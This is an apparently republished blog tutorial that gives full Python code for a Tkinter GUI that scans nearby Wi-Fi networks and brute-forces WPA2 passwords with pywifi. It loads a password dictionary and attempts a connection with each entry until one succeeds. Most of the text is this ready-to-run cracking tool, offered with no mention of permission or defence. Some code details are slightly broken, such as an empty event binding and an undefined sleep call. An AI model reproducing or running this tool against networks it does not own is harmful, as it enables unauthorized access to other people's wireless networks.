Information Security 14 min read

Python WiFi Password Cracking GUI Tool Using pywifi and Tkinter

This article presents a step‑by‑step guide to creating a Python‑based Wi‑Fi password cracking GUI using the pywifi library and Tkinter, explains environment setup, code implementation, and usage, while also containing promotional material for related AI services and community groups.

Top Architect
Top Architect
Top Architect
Python WiFi Password Cracking GUI Tool Using pywifi and Tkinter

This tutorial explains how to build a Wi‑Fi password cracking tool with Python, leveraging the pywifi library for wireless interface control and tkinter for a simple graphical user interface.

Environment preparation

Python 2.7

pywifi module (install separately)

A password dictionary file (one password per line)

Import modules

# coding:utf-8
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox

Core logic

The program scans nearby Wi‑Fi networks, lets the user select an SSID, and then iterates through the dictionary, attempting each password until a successful connection is made. Key functions include:

scans_wifi_list : scans and lists available networks.

readPassWord : reads passwords from the dictionary and calls connect for each attempt.

connect : creates a pywifi.Profile , sets the SSID and password, connects, and checks the connection status.

Complete code

# coding:utf-8
from tkinter import *
from tkinter import ttk  
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox

class MY_GUI():
    def __init__(self,init_window_name):
        self.init_window_name = init_window_name
        #密码文件路径
        self.get_value = StringVar()
        #获取破解wifi账号
        self.get_wifi_value = StringVar()
        #获取wifi密码
        self.get_wifimm_value = StringVar()
        self.wifi = pywifi.PyWiFi()  #抓取网卡接口
        self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡
        self.iface.disconnect()  #测试链接断开所有链接
        time.sleep(1)  #休眠1秒
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200,text="配置")
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)
        self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0)
        self.label = Label(labelframe,text="目录路径:").grid(column=0,row=1)
        self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)
        self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1)
        self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2)
        self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)
        self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2)
        self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a","b","c","d"))    
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)       
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
        self.wifi_tree.bind("
",self.onDBClick)
        self.vbar.grid(row=4,column=1,sticky=NS)

    def scans_wifi_list(self):
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        scanres = self.iface.scan_results()
        nums = len(scanres)
        print("数量: %s"%(nums))
        self.show_scans_wifi_list(scanres)
        return scanres

    def show_scans_wifi_list(self,scans_res):
        for index,wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    def onDBClick(self,event):
        self.sels= event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])

    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")
        while True:
            try:
                self.pwdStr =self.pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1=self.connect(self.pwdStr,self.get_wifissid)
                if self.bool1:
                    self.res = "===正确===  wifi名:%s  匹配密码:%s "%(self.get_wifissid,self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功!!!')
                    print(self.res)
                    break
                else:
                    self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)
                    print(self.res)
                    sleep(3)
            except:
                continue

    def connect(self,pwd_Str,wifi_ssid):
        self.profile = pywifi.Profile()
        self.profile.ssid =wifi_ssid #wifi名称
        self.profile.auth = const.AUTH_ALG_OPEN  #网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        self.profile.key = pwd_Str #密码
        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件
        self.iface.connect(self.tmp_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:
            isOK=True   
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK

def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    ui.set_init_window()
    init_window.mainloop()

gui_start()

Running the script opens a window where you can select a Wi‑Fi network, load a password list file, and start the cracking process; successful attempts are displayed and saved in the GUI.

Beyond the technical guide, the article includes promotional sections advertising AI services, a paid community (“ChatGPT 4.0” group), and other marketing links, which are not part of the core tutorial.

PythonWiFinetwork securityTkinterPassword Crackingpywifi
Top Architect
Written by

Top Architect

Top Architect focuses on sharing practical architecture knowledge, covering enterprise, system, website, large‑scale distributed, and high‑availability architectures, plus architecture adjustments using internet technologies. We welcome idea‑driven, sharing‑oriented architects to exchange and learn together.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.